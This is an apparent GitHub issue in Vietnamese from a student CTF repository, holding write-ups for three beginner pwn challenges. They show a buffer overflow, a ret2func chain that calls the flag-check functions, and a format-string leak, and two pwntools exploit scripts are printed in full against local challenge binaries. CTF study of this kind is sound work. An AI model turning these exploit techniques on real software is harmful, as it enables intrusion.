kcsc-club / ctfs

repository for kscs-ctfs
8 stars 1 forks source link

Writeup for Pwn Challenges #6

Closed n0bit4lsm3 closed 2 years ago

n0bit4lsm3 commented 3 years ago

1. KMA

Đối với các bài thử thách về Pwn, đầu tiên chúng ta sẽ kiểm tra các kiến trúc và cơ chế bảo vệ của nó như:

Để kiểm tra, tôi sẽ sử dụng checksec tool.

h1

Vì đây là một challenge đơn giản, các cơ chế bảo vệ đã được disable để dễ dàng trong việc exploit.

Load vào IDA để phân tích.

h2

Luồng chương trình:

Từ đây, tôi có thể kết luận đây là Buffer Overflow.

Để exploit ta chỉ cần nhập đủ 0x20 bytes, theo sau là chuỗi _KMA.

h3

2. Amazingg

Kiểm tra các cơ chế bảo vệ của file.

h4

Chú ý, ta thấy đây là một file 64 bit. Load file vào IDA để phân tích.

h5

Tại hàm gets() cho phép nhập với độ dài tùy ý, nên tôi xác định đây là Buffer Overflow.

h6

Nhìn vào các function của chương trình, tôi thấy thêm các hàm Func1(), Func2(), Func3(), Puts_flag().

Hàm Puts_flag() sẽ kiểm tra các biến check1, check2, check3 do các hàm Func1(), Func2(), Func3() gán. Do vậy, ta phải lợi dụng lỗ hổng Buffer Overflow để thực thi được tất cả các hàm này mới có thể lấy được flag.

Để làm được điều này, ta phải tính toán offset hợp lý để tạo payload.

Đây là script exploit.

from pwn import *

p = process("./amazingg")

p.recvuntil("step....\n")

p.sendline(b"a"*16 + b"a"*4 + p32(1337) + p64(0x4006E6) + p64(0x40070E) + p64(0x400736) + p64(0x40075E))

p.interactive()

3. fs

Kiểm tra các cơ chế bảo vệ của file.

h7

Challenge này đã bật cơ chế Stack Canary, nên sẽ không có lỗ hổng Buffer Overflow nữa.

Load file vào IDA để phân tích.

h8

Trong hàm vuln(), tôi thấy có lệnh printf(s); nên tôi xác định đây là lổ hổng Format String.

Để khai thác lỗi này, ta phải tìm được offset, từ esp đến vùng nhớ flag được lưu trữ ở stack.

h9

Bật debug, tôi tìm được offset bắt đầu của flag sẽ là 57. Để lấy được giá trị tại offset này, tôi dùng format $p.

Viết Script khai thác.

from pwn import *

offset = 57
flag = ""

while True:

    p = process("./fs")

    p.recvuntil("\n")

    payload = "%" + str(offset) + "$p"
    p.sendline(payload)

    recv = p.recvuntil("\n").decode("utf-8")
    recv = recv[11:len(recv) - 1]
    if offset == 57:
        recv = recv[:len(recv) - 2]
    flag += bytes.fromhex(recv).decode('utf-8')[::-1]
    offset += 1

    print(flag)